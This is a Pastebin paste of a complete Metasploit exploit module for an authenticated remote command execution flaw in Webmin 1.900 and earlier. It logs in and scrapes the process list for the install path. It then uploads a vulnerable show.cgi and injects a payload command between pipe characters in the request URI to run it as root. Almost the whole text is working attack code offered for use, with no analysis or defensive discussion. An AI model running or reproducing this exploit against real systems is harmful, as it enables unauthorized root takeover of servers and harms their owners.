Advertisement
Guest User

Untitled

a guest
Mar 7th, 2019
189
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 12.43 KB | None | 0 0
  1. ##
  2. # This module requires Metasploit: http://metasploit.com/download
  3. # Current source: https://github.com/rapid7/metasploit-framework
  4. ##
  5.  
  6. require 'msf/core'
  7. require 'uri'
  8.  
  9. class MetasploitModule < Msf::Exploit::Remote
  10. Rank = ExcellentRanking
  11.  
  12. include Msf::Exploit::Remote::HttpClient
  13. include Msf::Exploit::FileDropper
  14.  
  15. def initialize(info = {})
  16. super(update_info(info,
  17. 'Name' => 'Webmin 1.900 - Remote Command Execution',
  18. 'Description' => %q{
  19. This module exploits an arbitrary command execution vulnerability in Webmin
  20. 1.900 and lower versions. Any user authorized to the "Java file manager"
  21. and "Upload and Download" fields, to execute arbitrary commands with root privileges.
  22. In addition, "Running Processes" field must be authorized to discover the directory to be uploaded.
  23. A vulnerable file can be printed on the original files of the Webmin application.
  24. The vulberable file we are uploading should be integrated with the application.
  25. Therefore, a ".cgi" file with the vulnerability belong to webmin application should be used.
  26. The module has been tested successfully with Webmin 1900 over Debian 4.9.18.
  27. },
  28. 'Author' => [
  29. 'AkkuS <Azkan Mustafa AkkuA>', # Vulnerability Discovery, PoC & Msf Module
  30. ],
  31. 'License' => MSF_LICENSE,
  32. 'References' =>
  33. [
  34. ['URL', 'https://pentest.com.tr/exploits/Webmin-1900-Remote-Command-Execution.html']
  35. ],
  36. 'Privileged' => true,
  37. 'Payload' =>
  38. {
  39. 'DisableNops' => true,
  40. 'Space' => 512,
  41. 'Compat' =>
  42. {
  43. 'PayloadType' => 'cmd',
  44. 'RequiredCmd' => 'generic perl ruby python telnet',
  45. }
  46. },
  47. 'Platform' => 'unix',
  48. 'Arch' => ARCH_CMD,
  49. 'Targets' => [[ 'Webmin <= 1.900', { }]],
  50. 'DisclosureDate' => 'Jan 17 2019',
  51. 'DefaultTarget' => 0))
  52.  
  53. register_options(
  54. [
  55. Opt::RPORT(10000),
  56. OptBool.new('SSL', [true, 'Use SSL', true]),
  57. OptString.new('USERNAME', [true, 'Webmin Username']),
  58. OptString.new('PASSWORD', [true, 'Webmin Password'])
  59. ], self.class)
  60. end
  61.  
  62. ##
  63. # Target and input verification
  64. ##
  65.  
  66. def check
  67.  
  68. peer = "#{rhost}:#{rport}"
  69.  
  70. vprint_status("Attempting to login...")
  71.  
  72. data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
  73.  
  74. res = send_request_cgi(
  75. {
  76. 'method' => 'POST',
  77. 'uri' => "/session_login.cgi",
  78. 'cookie' => "testing=1",
  79. 'data' => data
  80. }, 25)
  81.  
  82. if res and res.code == 302 and res.get_cookies =~ /sid/
  83. vprint_good "Login successful"
  84. session = res.get_cookies.split("sid=")[1].split(";")[0]
  85. else
  86. vprint_error "Service found, but login failed"
  87. return Exploit::CheckCode::Detected
  88. end
  89.  
  90. vprint_status("Attempting to execute...")
  91.  
  92. command = "echo #{rand_text_alphanumeric(rand(5) + 5)}"
  93.  
  94. res = send_request_cgi(
  95. {
  96. 'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(5)}|#{command}|",
  97. 'cookie' => "sid=#{session}"
  98. }, 25)
  99.  
  100.  
  101. if res and res.code == 200 and res.message =~ /Document follows/
  102. return Exploit::CheckCode::Vulnerable
  103. else
  104. return Exploit::CheckCode::Safe
  105. end
  106.  
  107. end
  108.  
  109. ##
  110. # Exploiting phase
  111. ##
  112.  
  113. def exploit
  114.  
  115. peer = "#{rhost}:#{rport}"
  116.  
  117. print_status("Attempting to login...")
  118.  
  119. data = "page=%2F&user=#{datastore['USERNAME']}&pass=#{datastore['PASSWORD']}"
  120.  
  121. res = send_request_cgi(
  122. {
  123. 'method' => 'POST',
  124. 'uri' => "/session_login.cgi",
  125. 'cookie' => "testing=1",
  126. 'data' => data
  127. }, 25)
  128.  
  129. if res and res.code == 302 and res.get_cookies =~ /sid/
  130. session = res.get_cookies.scan(/sid\=(\w+)\;*/).flatten[0] || ''
  131. if session and not session.empty?
  132. print_good "Login successfully"
  133. else
  134. print_error "Authentication failed"
  135. return
  136. end
  137. else
  138. print_error "Authentication failed"
  139. return
  140. end
  141.  
  142. ##
  143. # Directory and SSL verification for referer
  144. ##
  145. ps = "#{datastore['SSL']}"
  146. if ps == "true"
  147. ssl = "https://"
  148. else
  149. ssl = "http://"
  150. end
  151.  
  152. print_status("Target URL => #{ssl}#{peer}")
  153.  
  154. res1 = send_request_raw(
  155. {
  156. 'method' => "POST",
  157. 'uri' => "/proc/index_tree.cgi?",
  158. 'headers' =>
  159. {
  160. 'Referer' => "#{ssl}#{peer}/sysinfo.cgi?xnavigation=1",
  161. },
  162. 'cookie' => "redirect=1; testing=1; sid=#{session}"
  163. })
  164.  
  165. if res1 and res1.code == 200 and res1.body =~ /Running Processes/
  166. print_status "Searching for directory to upload..."
  167. stpdir = res1.body.scan(/perl.+miniserv.pl/).map{ |s| s.split("perl ").last }.map{ |d| d.split("miniserv").first }.map{ |d| d.split("miniserv").first }
  168. dir = stpdir[0] + "file"
  169. print_good("Directory to upload => #{dir}")
  170. else
  171. print_error "No access to processes or no upload directory found."
  172. return
  173. end
  174.  
  175. ##
  176. # Loading phase of the vulnerable file
  177. ##
  178. boundary = Rex::Text.rand_text_alphanumeric(29)
  179.  
  180. data2 = "-----------------------------{boundary}\r\n"
  181. data2 << "Content-Disposition: form-data; name=\"upload0\"; filename=\"show.cgi\"\r\n"
  182. data2 << "Content-Type: application/octet-stream\r\n\r\n"
  183. data2 << "#!/usr/local/bin/perl\n# show.cgi\n# Output some file for the browser\n\n"
  184. data2 << "$trust_unknown_referers = 1;\nrequire './file-lib.pl';\n&ReadParse();\nuse POSIX;\n"
  185. data2 << "$p = $ENV{'PATH_INFO'};\nif ($in{'type'}) {\n\t# Use the supplied content type\n\t"
  186. data2 << "$type = $in{'type'};\n\t$download = 1;\n\t}\nelsif ($in{'format'} == 1) {\n\t"
  187. data2 << "# Type comes from compression format\n\t$type = \"application/zip\";\n\t}\n"
  188. data2 << "elsif ($in{'format'} == 2) {\n\t$type = \"application/x-gzip\";\n\t}\n"
  189. data2 << "elsif ($in{'format'} == 3) {\n\t$type = \"application/x-tar\";\n\t}\nelse {\n\t"
  190. data2 << "# Try to guess type from filename\n\t$type = &guess_mime_type($p, undef);\n\t"
  191. data2 << "if (!$type) {\n\t\t# No idea .. use the 'file' command\n\t\t"
  192. data2 << "$out = &backquote_command(\"file \".\n\t\t\t\t\t quotemeta(&resolve_links($p)), 1);\n\t\t"
  193. data2 << "if ($out =~ /text|script/) {\n\t\t\t$type = \"text/plain\";\n\t\t\t}\n\t\telse {\n\t\t\t"
  194. data2 << "$type = \"application/unknown\";\n\t\t\t}\n\t\t}\n\t}\n\n# Dump the file\n&switch_acl_uid();\n"
  195. data2 << "$temp = &transname();\nif (!&can_access($p)) {\n\t# ACL rules prevent access to file\n\t"
  196. data2 << "&error_exit(&text('view_eaccess', &html_escape($p)));\n\t}\n$p = &unmake_chroot($p);\n\n"
  197. data2 << "if ($in{'format'}) {\n\t# An archive of a directory was requested .. create it\n\t"
  198. data2 << "$archive || &error_exit($text{'view_earchive'});\n\tif ($in{'format'} == 1) {\n\t\t"
  199. data2 << "$p =~ s/\\.zip$//;\n\t\t}\n\telsif ($in{'format'} == 2) {\n\t\t$p =~ s/\\.tgz$//;\n\t\t}\n\t"
  200. data2 << "elsif ($in{'format'} == 3) {\n\t\t$p =~ s/\\.tar$//;\n\t\t}\n\t-d $p || &error_exit($text{'view_edir'}.\" \".&html_escape($p));\n\t"
  201. data2 << "if ($archive == 2 && $archmax > 0) {\n\t\t# Check if directory is too large to archive\n\t\tlocal $kb = &disk_usage_kb($p);\n\t\t"
  202. data2 << "if ($kb*1024 > $archmax) {\n\t\t\t&error_exit(&text('view_earchmax', $archmax));\n\t\t\t}\n\t\t}\n\n\t"
  203. data2 << "# Work out the base directory and filename\n\tif ($p =~ /^(.*\\/)([^\\/]+)$/) {\n\t\t$pdir = $1;\n\t\t"
  204. data2 << "$pfile = $2;\n\t\t}\n\telse {\n\t\t$pdir = \"/\";\n\t\t$pfile = $p;\n\t\t}\n\n\t"
  205. data2 << "# Work out the command to run\n\tif ($in{'format'} == 1) {\n\t\t"
  206. data2 << "&has_command(\"zip\") || &error_exit(&text('view_ecmd', \"zip\"));\n\t\t"
  207. data2 << "$cmd = \"zip -r $temp \".quotemeta($pfile);\n\t\t}\n\telsif ($in{'format'} == 2) {\n\t\t"
  208. data2 << "&has_command(\"tar\") || &error_exit(&text('view_ecmd', \"tar\"));\n\t\t"
  209. data2 << "&has_command(\"gzip\") || &error_exit(&text('view_ecmd', \"gzip\"));\n\t\t"
  210. data2 << "$cmd = \"tar cf - \".quotemeta($pfile).\" | gzip -c >$temp\";\n\t\t}\n\t"
  211. data2 << "elsif ($in{'format'} == 3) {\n\t\t&has_command(\"tar\") || &error_exit(&text('view_ecmd', \"tar\"));\n\t\t"
  212. data2 << "$cmd = \"tar cf $temp \".quotemeta($pfile);\n\t\t}\n\n\tif ($in{'test'}) {\n\t\t"
  213. data2 << "# Don't actually do anything if in test mode\n\t\t&ok_exit();\n\t\t}\n\n\t"
  214. data2 << "# Run the command, and send back the resulting file\n\tlocal $qpdir = quotemeta($pdir);\n\t"
  215. data2 << "local $out = `cd $qpdir ; ($cmd) 2>&1 </dev/null`;\n\tif ($?) {\n\t\tunlink($temp);\n\t\t"
  216. data2 << "&error_exit(&text('view_ecomp', &html_escape($out)));\n\t\t}\n\tlocal @st = stat($temp);\n\t"
  217. data2 << "print \"Content-length: $st[7]\\n\";\n\tprint \"Content-type: $type\\n\\n\";\n\t"
  218. data2 << "open(FILE, $temp);\n\tunlink($temp);\n\twhile(read(FILE, $buf, 1024)) {\n\t\tprint $buf;\n\t\t}\n\t"
  219. data2 << "close(FILE);\n\t}\nelse {\n\tif (!open(FILE, $p)) {\n\t\t# Unix permissions prevent access\n\t\t"
  220. data2 << "&error_exit(&text('view_eopen', $p, $!));\n\t\t}\n\n\tif ($in{'test'}) {\n\t\t"
  221. data2 << "# Don't actually do anything if in test mode\n\t\tclose(FILE);\n\t\t"
  222. data2 << "&ok_exit();\n\t\t}\n\n\t@st = stat($p);\n\tprint \"X-no-links: 1\\n\";\n\t"
  223. data2 << "print \"Content-length: $st[7]\\n\";\n\tprint \"Content-Disposition: Attachment\\n\" if ($download);\n\t"
  224. data2 << "print \"Content-type: $type\\n\\n\";\n\tif ($type =~ /^text\\/html/i && !$in{'edit'}) {\n\t\t"
  225. data2 << "while(read(FILE, $buf, 1024)) {\n\t\t\t$data .= $buf;\n\t\t\t}\n\t\tprint &filter_javascript($data);\n\t\t"
  226. data2 << "}\n\telse {\n\t\twhile(read(FILE, $buf, 1024)) {\n\t\t\tprint $buf;\n\t\t\t}\n\t\t}\n\tclose(FILE);\n\t}\n\n"
  227. data2 << "sub error_exit\n{\nprint \"Content-type: text/plain\\n\";\n"
  228. data2 << "print \"Content-length: \",length($_[0]),\"\\n\\n\";\nprint $_[0];\nexit;\n}\n\n"
  229. data2 << "sub ok_exit\n{\nprint \"Content-type: text/plain\\n\\n\";\nprint \"\\n\";\nexit;\n}"
  230. data2 << "\r\n\r\n"
  231. data2 << "-----------------------------{boundary}\r\n"
  232. data2 << "Content-Disposition: form-data; name=\"dir\"\r\n\r\n#{dir}\r\n"
  233. data2 << "-----------------------------{boundary}\r\n"
  234. data2 << "Content-Disposition: form-data; name=\"user\"\r\n\r\nroot\r\n"
  235. data2 << "-----------------------------{boundary}\r\n"
  236. data2 << "Content-Disposition: form-data; name=\"group_def\"\r\n\r\n1\r\n"
  237. data2 << "-----------------------------{boundary}\r\n"
  238. data2 << "Content-Disposition: form-data; name=\"group\"\r\n\r\n\r\n"
  239. data2 << "-----------------------------{boundary}\r\n"
  240. data2 << "Content-Disposition: form-data; name=\"zip\"\r\n\r\n0\r\n"
  241. data2 << "-----------------------------{boundary}\r\n"
  242. data2 << "Content-Disposition: form-data; name=\"email_def\"\r\n\r\n1\r\n"
  243. data2 << "-----------------------------{boundary}\r\n"
  244. data2 << "Content-Disposition: form-data; name=\"ok\"\r\n\r\nUpload\r\n"
  245. data2 << "-----------------------------{boundary}--\r\n"
  246.  
  247. res2 = send_request_raw(
  248. {
  249. 'method' => "POST",
  250. 'uri' => "/updown/upload.cgi?id=154739243511",
  251. 'data' => data2,
  252. 'headers' =>
  253. {
  254. 'Content-Type' => 'multipart/form-data; boundary=---------------------------{boundary}',
  255. 'Referer' => "#{ssl}#{peer}/updown/?xnavigation=1",
  256. },
  257. 'cookie' => "redirect=1; testing=1; sid=#{session}"
  258. })
  259.  
  260. if res2 and res2.code == 200 and res2.body =~ /Saving file/
  261. print_good "Vulnerable show.cgi file was successfully uploaded."
  262. else
  263. print_error "Upload failed."
  264. return
  265. end
  266. ##
  267. # Command execution and shell retrieval
  268. ##
  269. print_status("Attempting to execute the payload...")
  270.  
  271. command = payload.encoded
  272.  
  273. res = send_request_cgi(
  274. {
  275. 'uri' => "/file/show.cgi/bin/#{rand_text_alphanumeric(rand(5) + 5)}|#{command}|",
  276. 'cookie' => "sid=#{session}"
  277. }, 25)
  278.  
  279.  
  280. if res and res.code == 200 and res.message =~ /Document follows/
  281. print_good "Payload executed successfully"
  282. else
  283. print_error "Error executing the payload"
  284. return
  285. end
  286.  
  287. end
  288.  
  289. end
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement